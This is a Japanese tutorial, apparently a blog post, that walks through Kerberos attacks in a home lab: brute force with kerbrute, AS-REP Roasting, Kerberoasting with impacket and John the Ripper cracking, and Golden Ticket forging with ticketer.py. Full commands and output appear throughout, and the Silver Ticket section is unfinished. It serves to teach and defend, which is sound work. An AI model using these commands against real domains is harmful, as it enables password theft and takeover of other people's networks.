Kerberos への攻撃手法

目次

はじめに

本記事では、前記事(Kerberos 入門)で学んだKerberosの基本的な概念や動作を知っていることを前提にKerberosへの攻撃手法について解説します。ここで紹介している内容は、自分で管理している端末外では決して行わないでください。

Brute Force Attack for Kerberos

Kerberosにおいてもブルートフォース攻撃は有効です。Kerberosへのブルートフォース攻撃を行うために必要な条件は基本的には1つです。それは、KDCへの接続ができるという条件だけです。さらにKerberosの認証のレスポンスで、パスワードが間違っている場合、ユーザ名が正しいかどうかを教えてくれます。つまり、存在するユーザかどうかの判断を行うことができます。しかしながら、試行回数などによりブロックしたりすることも可能なので、本攻撃を行う際には注意が必要です。
ブルートフォースを行うツールとしては、kerbruteが便利です。ユーザ名とパスワードを記載したファイル、ドメインを指定することでブルートフォース攻撃が行えます。

kali@kali:~/bin/kerbrute$ ./kerbrute.py -users ./username.txt -passwords ./password.txt -domain dc01.alicemacs.local
Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation

[*] Stupendous => snickers66:snickers66
[*] Saved TGT in snickers66.ccache
[*] Valid user => Administrator

上記の実行結果では、ユーザ名とパスワードが同じsnickers66というドメインユーザを特定しており、snickers66.ccacheというファイルにTGTが保存されています。また、パスワードは違いますが、Administratorというユーザが存在することも判明しています(余談ですが、Windowsでは今回判明したような簡単なパスワードは、通常パスワードの複雑さのグループポリシーで許可されていません。そのため、今回はグループポリシーの「パスワードのポリシー」の項目の1つである「複雑さの要件を満たす必要があるパスワード」という項目を無効化しました)。

AS-REP Roasting

Kerberos 5には、事前認証(Pre-authentication)という概念があります。クライアントがAS_REQを送信した後、ASは誰にでもAS_REPをレスポンスするのではなく、KRB_ERRORという事前認証を要求するメッセージをレスポンスします。これを受け取ったクライアントは、クライアントのプリンシパル名と「クライアントの鍵」で暗号化したタイムスタンプを送信します。これを受け取ったASは、クライアントが正しいかを確認してからTGTを返信します。Active Directoryでは、本機能はユーザ単位で制御することができます。デフォルトでは、「事前認証を必要としない」という設定が無効になっているため、通常は事前認証が要求されます。

しかし、もしこの設定を有効にしていたり、Kerberos 4を利用している場合は、どんなプリンシパルからのTGTの要求に対しても、ASはTGTを返信してしまいます(ASは、プリンシパルが存在すること、タイムスタンプがずれていないことしか確認しないため)。そのため、事前認証が無効のユーザを装った偽のAS_REQを送信することで、AS_REPをレスポンスさせることが可能となります。実は、このAS_REPのメッセージ内には、クライアントのパスワードがもとになって生成された鍵で暗号化されたデータが含まれています。そのため、手にれたデータをオフラインで解析することで、最終的にパスワードを特定することが可能となる場合もあります。

AS-REP Roastingを行うには、impacketのGetNPUsers.pyが利用できます。下記のように-no-passオプションを利用することで、パスワードがわかっていない場合でもAS_REPに含まれる暗号化されたデータを抽出できます。また、抽出したデータは、HashcatとJohn The Ripperの2つのフォーマットで出力できます。今回はJohn The Ripperで辞書攻撃を行うため-johnオプションを設定しています。また、ここでは本データをsnickers66.asrepというファイルに保存しておきました。

kali@kali:~/bin/impacket/examples$ python GetNPUsers.py dc01.alicemacs.local/snickers66 -no-pass --john
Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for snickers66
$krb5asrep$snickers66@DC01.ALICEMACS.LOCAL:e6d57700774dcb412bad8ac0dbb80638$5c62524951cdcbabd4f5067229b4404a0769ee9256e91df90a40c09d17d4ca2d34c39cfd72bc5230a395a4869c97cfca8073f3195c11dc56cb7c9c7abaefc15e51a055c7b189f0857f91c9a50d6c8c3bac3a6afba06ba76cc19c74627cd9cc6a2516b6462845eeda206ed319bf21298edae40466aa7761a6ec76b0072ca47f57928e94f7deaaadcf67d5ca99f2cd7015d16602d8f701020c4f00c685a5864250219c1b3b9d3879aaa3a423a7b572546393cae07b2e02ce1299a1409278e8298580b6336f4022034475c4e7f0fac5fe9d15cfa6b5d620c690c24514d7f4c6553beb6fb5cabf66bb53751b35114b56532c4fae6abe60509bc07a9b9597

そしてJohn The Ripperで辞書攻撃を試みます。辞書には、Kali Linuxに標準でインストールされているものを利用しています。

kali@kali:~/bin/impacket/examples$ john --wordlist=/usr/share/wordlists/rockyou.txt snickers66.asrep
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snickers66       ($krb5asrep$snickers66@DC01.ALICEMACS.LOCAL)
1g 0:00:00:01 DONE (2020-02-29 21:02) 0.7812g/s 455600p/s 455600c/s 455600C/s snugglepot..smexy14
Use the "--show" option to display all of the cracked passwords reliably
Session completed

上記結果より、snickers66というパスワードが辞書攻撃によって判明したことがわかります。このように弱いパスワードなどを利用している場合、最終的にパスワードの特定まで行えてしまう可能性がありますので、もし意図せず本設定が有効になっている場合は、無効にするようにしたほうが良いでしょう。

Kerberoasting

Kerberoastingは、ドメインユーザに紐付いたサービスのサービスチケットを取得し、オフラインで辞書攻撃などによりパスワードを解析する攻撃手法です。サービスチケットには、サービスの所有者のNTLMハッシュから継承された鍵で暗号化されている部分があります。そのため、サービスの所有者が、一般的なドメインユーザだった場合、最終的にドメインユーザのパスワードを特定することが可能となります。
Kerberoastingには、impacketのGetUserSPNs.pyが利用できます。ここで、snickers66ユーザのパスワード(snickers66)は既知の想定で行っています。

kali@kali:~/bin/impacket/examples$ python GetUserSPNs.py dc01.alicemacs.local/snickers66:snickers66 -outputfile ticket
Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation

ServicePrincipalName          Name     MemberOf                                                    PasswordLastSet             LastLogon  Delegation
----------------------------  -------  ----------------------------------------------------------  --------------------------  ---------  ----------
dc01.alicemacs.local/svctest  svctest  CN=Administrators,CN=Builtin,DC=dc01,DC=alicemacs,DC=local  2020-03-04 10:27:40.516240  <never>



kali@kali:~/bin/impacket/examples$ john --wordlist=/usr/share/wordlists/rockyou.txt ticket
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
snickers66       (?)
1g 0:00:00:00 DONE (2020-03-04 10:45) 1.123g/s 655244p/s 655244c/s 655244C/s snugglepot..smexy14
Use the "--show" option to display all of the cracked passwords reliably
Session completed

上記の結果より、1つのSTが手に入っていることがわかります。そこで、svctestユーザのSTをJohn The Ripperで辞書攻撃します。その結果、snickers66というのがパスワードだと判明しました。また今回のケースでは、svctestユーザは、Administratorsのグループでもあることから、このパスワードを使ってログインすることでより多くの攻撃が可能となります。

Pass the Ticket(PtT)

Pass the Ticketとは、盗んだり偽装したKerberosのチケットを利用する攻撃のことです。Pass The Ticketには大きく分けて2つの代表的な手法が存在します。それが、Golden TicketとSilver Ticketです。

Golden Ticket

Kerberosのしくみ上、TGTを手に入れることができればそのアカウントになりすまして、サービスチケットを発行することが可能となります。Golden Ticketとは、偽装したTGTを用いてサービスにアクセスする攻撃手法、またその偽装したTGTのことを指します。もしDomain Adminsグループの権限を持つようなTGTを偽装することができれば、任意のサービスにアクセスすることが可能となります。impacketのticketer.pyでは、Golden Ticketの作成が行えます。作成するためには、以下の3つの情報が必要となります。

  • ドメインSID
  • ドメイン名
  • krbtgtのNTLMハッシュ

それぞれの情報を設定し実行した結果が以下です(krbtgtのNTLMハッシュは、今回はmimikatzを用いて取得しました)。

kali@kali:~/bin/impacket/examples$ python ticketer.py -domain-sid S-1-5-21-1027962296-3006713031-785832913 -domain dc01.alicemacs.local -nthash af76050fb452fbe7476a165f9a82ce10 Administrator
Impacket v0.9.21.dev1+20200217.163437.e5e676d7 - Copyright 2020 SecureAuth Corporation

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for dc01.alicemacs.local/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

最終的に、Administrator.ccacheというファイルに偽装されたTGTが保存されます。

Silver Ticket

執筆中 Silver Ticketは、Golden Ticketとほぼ同様の手法です。Silver Ticketでは、STを偽装してサービスを利用します。

おわりに

参考文献